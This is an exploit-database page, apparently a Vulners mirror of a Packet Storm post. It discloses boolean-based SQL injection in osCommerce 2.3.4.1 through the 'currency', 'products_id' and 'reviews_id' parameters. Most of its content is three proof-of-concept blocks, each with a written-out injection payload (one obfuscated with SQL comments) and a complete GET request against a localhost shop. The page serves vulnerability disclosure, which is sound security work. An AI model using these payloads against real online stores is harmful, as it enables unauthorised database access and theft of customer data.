Lucene search
K

osCommerce 2.3.4.1 SQL Injection

🗓️ 06 Feb 2019 00:00:00Reported by Mehmet EMIROGLUType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 459 Views

osCommerce 2.3.4.1 SQL Injection vulnerabilities in currency, products_id, and reviews_id parameters

Code
`####################################################################  
  
# Exploit Title: osCommerce 2.3.4.1 - 'currency' SQL Vulnerabilities  
# Dork: N/A  
# Date: 05-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://www.oscommerce.com  
# Software Link: https://www.oscommerce.com/Products  
# Version: 2.3.4.1  
# Category: Webapps  
# Tested on: Wampp @Win  
# CVE: N/A  
# Software Description: osCommerce Online Merchant is a complete online  
store solution  
that contains both a shop frontend and an administration backend  
which can be easily configured and customized with over 8,855 free  
add-ons.  
  
####################################################################  
  
# Vulnerabilities / Impact  
# This web application called as osCommerce 2.3.4.1 version.  
# Switch to the shopping_cart tab. Replace the ID value in the url, with a  
high number value.  
for example shopping_cart.php?currency=1 change to 9999999  
then add the payload at Attack_pattern to the end of the url.  
  
####################################################################  
  
# POC - SQL (Boolean Based)  
# Parameters : currency  
# Attack Pattern : %27 oR 3620772=3620772 aNd %276199%27=%276199  
# GET Request :  
http://localhost/oscommerce/catalog/shopping_cart.php?currency=99999999%27  
oR 3620772=3620772 aNd %276199%27=%276199  
  
####################################################################  
  
  
####################################################################  
  
# Exploit Title: osCommerce 2.3.4.1 - 'products_id' SQL Vulnerabilities  
# Dork: N/A  
# Date: 05-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://www.oscommerce.com  
# Software Link: https://www.oscommerce.com/Products  
# Version: 2.3.4.1  
# Category: Webapps  
# Tested on: Wampp @Win  
# CVE: N/A  
# Software Description: osCommerce Online Merchant is a complete online  
store solution  
that contains both a shop frontend and an administration backend  
which can be easily configured and customized with over 8,855 free  
add-ons.  
  
####################################################################  
  
# Vulnerabilities / Impact  
# This web application called as osCommerce 2.3.4.1 version.  
# Switch to the product_info tab. Replace the ID value in the url, with a  
high number value.  
for example product_info.php?products_id=1 change to 9999999  
then add the payload at Attack_pattern to the end of the url.  
  
####################################################################  
  
# POC - SQL (Boolean Based)  
# Parameters : products_id  
# Attack Pattern : oR 1811160=1811160 aNd 7193=7193  
# GET Request :  
http://localhost/oscommerce/catalog/product_info.php?products_id=99999999  
oR 1811160=1811160 aNd 7193=7193  
  
####################################################################  
  
  
####################################################################  
  
# Exploit Title: osCommerce 2.3.4.1 - 'reviews_id' SQL Vulnerabilities  
# Dork: N/A  
# Date: 05-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://www.oscommerce.com  
# Software Link: https://www.oscommerce.com/Products  
# Version: 2.3.4.1  
# Category: Webapps  
# Tested on: Wampp @Win  
# CVE: N/A  
# Software Description: osCommerce Online Merchant is a complete online  
store solution  
that contains both a shop frontend and an administration backend  
which can be easily configured and customized with over 8,855 free  
add-ons.  
  
####################################################################  
  
# Vulnerabilities / Impact  
# This web application called as osCommerce 2.3.4.1 version.  
# Switch to the product reviews tab. Replace the ID value in the url, with  
a high number value.  
for example reviews_id=2 change to 9999999  
then add the payload at Attack_pattern to the end of the url.  
  
####################################################################  
  
# POC - SQL (Boolean Based)  
# Parameters : reviews_id  
# Attack Pattern : /**/oR/**/7096077=7096077/**/aNd/**/7193=7193  
# GET Request :  
http://localhost/oscommerce/catalog/product_reviews_write.php?products_id=19&reviews_id=99999999/**/oR/**/7096077=7096077/**/aNd/**/7193=7193  
  
####################################################################  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation